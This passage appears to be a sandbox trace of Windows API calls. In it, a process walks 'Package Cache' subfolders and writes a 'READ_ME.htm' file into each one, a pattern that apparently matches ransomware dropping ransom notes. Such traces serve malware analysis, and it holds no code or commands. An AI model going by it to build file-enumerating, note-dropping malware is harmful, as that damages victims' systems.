Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpFilePart=0x0) returned 0x52 [0142.189] SetErrorMode (uMode=0x1) returned 0x0 [0142.189] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf7de30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.189] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf7de30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.190] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c0163b0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0142.190] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fdcf960, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdf5ac0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.190] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fdcf960, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdf5ac0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.190] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.190] SetErrorMode (uMode=0x0) returned 0x1 [0142.190] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0142.190] SetErrorMode (uMode=0x1) returned 0x0 [0142.190] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c0163b0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.191] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c0163b0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.191] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fdcf960, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.191] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0142.191] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0142.191] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.191] SetErrorMode (uMode=0x0) returned 0x1 [0142.191] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0142.192] SetErrorMode (uMode=0x1) returned 0x0 [0142.192] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c0163b0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.192] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c0163b0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.192] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fdcf960, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.192] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0142.192] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0142.192] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.192] SetErrorMode (uMode=0x0) returned 0x1 [0142.193] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x70 [0142.193] SetErrorMode (uMode=0x1) returned 0x0 [0142.193] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.193] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.193] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0142.193] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fdcf960, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.193] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0142.194] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0142.194] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.194] SetErrorMode (uMode=0x0) returned 0x1 [0142.194] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x70 [0142.194] SetErrorMode (uMode=0x1) returned 0x0 [0142.194] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.194] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1b92d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.194] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0142.194] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fdcf960, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.195] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0142.195] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b40d00, ftCreationTime.dwHighDateTime=0x1cf3e1e, ftLastAccessTime.dwLowDateTime=0xc0b40d00, ftLastAccessTime.dwHighDateTime=0x1cf3e1e, ftLastWriteTime.dwLowDateTime=0xc0b40d00, ftLastWriteTime.dwHighDateTime=0x1cf3e1e, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0142.195] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.195] SetErrorMode (uMode=0x0) returned 0x1 [0142.195] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm", lpFilePart=0x0) returned 0x7c [0142.195] SetErrorMode (uMode=0x1) returned 0x0 [0142.195] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.196] SetErrorMode (uMode=0x0) returned 0x1 [0142.196] GetFileType (hFile=0x1d0) returned 0x1 [0142.196] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a15ee8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2a15ee8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.198] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x67 [0142.198] SetErrorMode (uMode=0x1) returned 0x0 [0142.198] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.199] SetErrorMode (uMode=0x0) returned 0x1 [0142.199] GetFileType (hFile=0x1d0) returned 0x1 [0142.202] WriteFile (in: hFile=0x1d0, lpBuffer=0x281cd38*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x281cd38*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.203] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\READ_ME.htm", lpFilePart=0x0) returned 0x5e [0142.203] SetErrorMode (uMode=0x1) returned 0x0 [0142.203] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.204] SetErrorMode (uMode=0x0) returned 0x1 [0142.204] GetFileType (hFile=0x1d0) returned 0x1 [0142.205] WriteFile (in: hFile=0x1d0, lpBuffer=0x2821378*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2821378*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.206] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", lpFilePart=0x0) returned 0x53 [0142.206] SetErrorMode (uMode=0x1) returned 0x0 [0142.206] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\*" (normalized: "c:\\users\\all users\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d701d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fdf5ac0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdf5ac0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.206] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d701d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fdf5ac0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdf5ac0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.206] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.206] SetErrorMode (uMode=0x0) returned 0x1 [0142.206] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", lpFilePart=0x0) returned 0x53 [0142.207] SetErrorMode (uMode=0x1) returned 0x0 [0142.207] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\*" (normalized: "c:\\users\\all users\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d701d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fdf5ac0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdf5ac0, 